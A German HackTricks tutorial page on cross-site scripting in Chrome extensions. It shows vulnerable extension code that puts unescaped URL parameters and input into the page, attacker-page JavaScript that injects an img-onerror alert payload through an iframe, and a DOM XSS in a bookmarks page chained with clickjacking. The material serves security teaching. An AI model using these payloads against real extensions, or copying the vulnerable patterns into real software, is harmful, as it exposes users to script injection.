7.7 KiB
BrowExt - XSS Beispiel
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Cross-Site Scripting (XSS) über Iframe
In diesem Setup wird ein Content-Skript implementiert, um ein Iframe zu instanziieren, das eine URL mit Abfrageparametern als Quelle des Iframe enthält:
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Eine öffentlich zugängliche HTML-Seite, message.html
, ist so konzipiert, dass sie basierend auf den Parametern in der URL dynamisch Inhalte zum Dokument hinzufügt:
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Ein bösartiges Skript wird auf einer Seite des Angreifers ausgeführt, indem der content
-Parameter der Quelle des Iframes geändert wird, um eine XSS-Payload einzuführen. Dies wird erreicht, indem die Quelle des Iframes aktualisiert wird, um ein schädliches Skript einzuschließen:
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Eine übermäßig großzügige Content Security Policy wie:
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
ermöglicht die Ausführung von JavaScript und macht das System anfällig für XSS-Angriffe.
Ein alternativer Ansatz, um XSS zu provozieren, besteht darin, ein Iframe-Element zu erstellen und seine Quelle so zu setzen, dass das schädliche Skript als content
-Parameter enthalten ist:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-basierte XSS + ClickJacking
Dieses Beispiel wurde aus dem ursprünglichen Beitrag entnommen.
Das Hauptproblem entsteht durch eine DOM-basierte Cross-Site Scripting (XSS)-Schwachstelle in /html/bookmarks.html
. Der problematische JavaScript-Code, der Teil von bookmarks.js
ist, wird unten detailliert beschrieben:
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Dieser Codeausschnitt ruft den Wert aus dem Eingabefeld txtName
ab und verwendet Zeichenkettenverkettung, um HTML zu generieren, das dann mithilfe der .append()
-Funktion von jQuery dem DOM hinzugefügt wird.
Normalerweise würde die Content Security Policy (CSP) der Chrome-Erweiterung solche Sicherheitslücken verhindern. Aufgrund der CSP-Entspannung mit 'unsafe-eval' und der Verwendung von jQuery's DOM-Manipulationsmethoden (die globalEval()
verwenden, um Skripte an eval()
bei DOM-Einfügung zu übergeben), ist eine Ausnutzung jedoch immer noch möglich.
Obwohl diese Sicherheitslücke erheblich ist, hängt ihre Ausnutzung normalerweise von der Benutzerinteraktion ab: Besuch der Seite, Eingabe einer XSS-Payload und Aktivierung der Schaltfläche "Hinzufügen".
Um diese Sicherheitslücke zu verbessern, wird eine sekundäre Clickjacking-Sicherheitslücke ausgenutzt. Das Manifest der Chrome-Erweiterung zeigt eine umfangreiche web_accessible_resources
-Richtlinie:
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Besonders die Seite /html/bookmarks.html
ist anfällig für Framing und somit anfällig für Clickjacking. Diese Schwachstelle wird ausgenutzt, um die Seite innerhalb einer Angreifer-Website zu rahmen und sie mit DOM-Elementen zu überlagern, um die Benutzeroberfläche täuschend zu gestalten. Diese Manipulation führt dazu, dass Opfer unbeabsichtigt mit der zugrunde liegenden Erweiterung interagieren.
Referenzen
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories senden.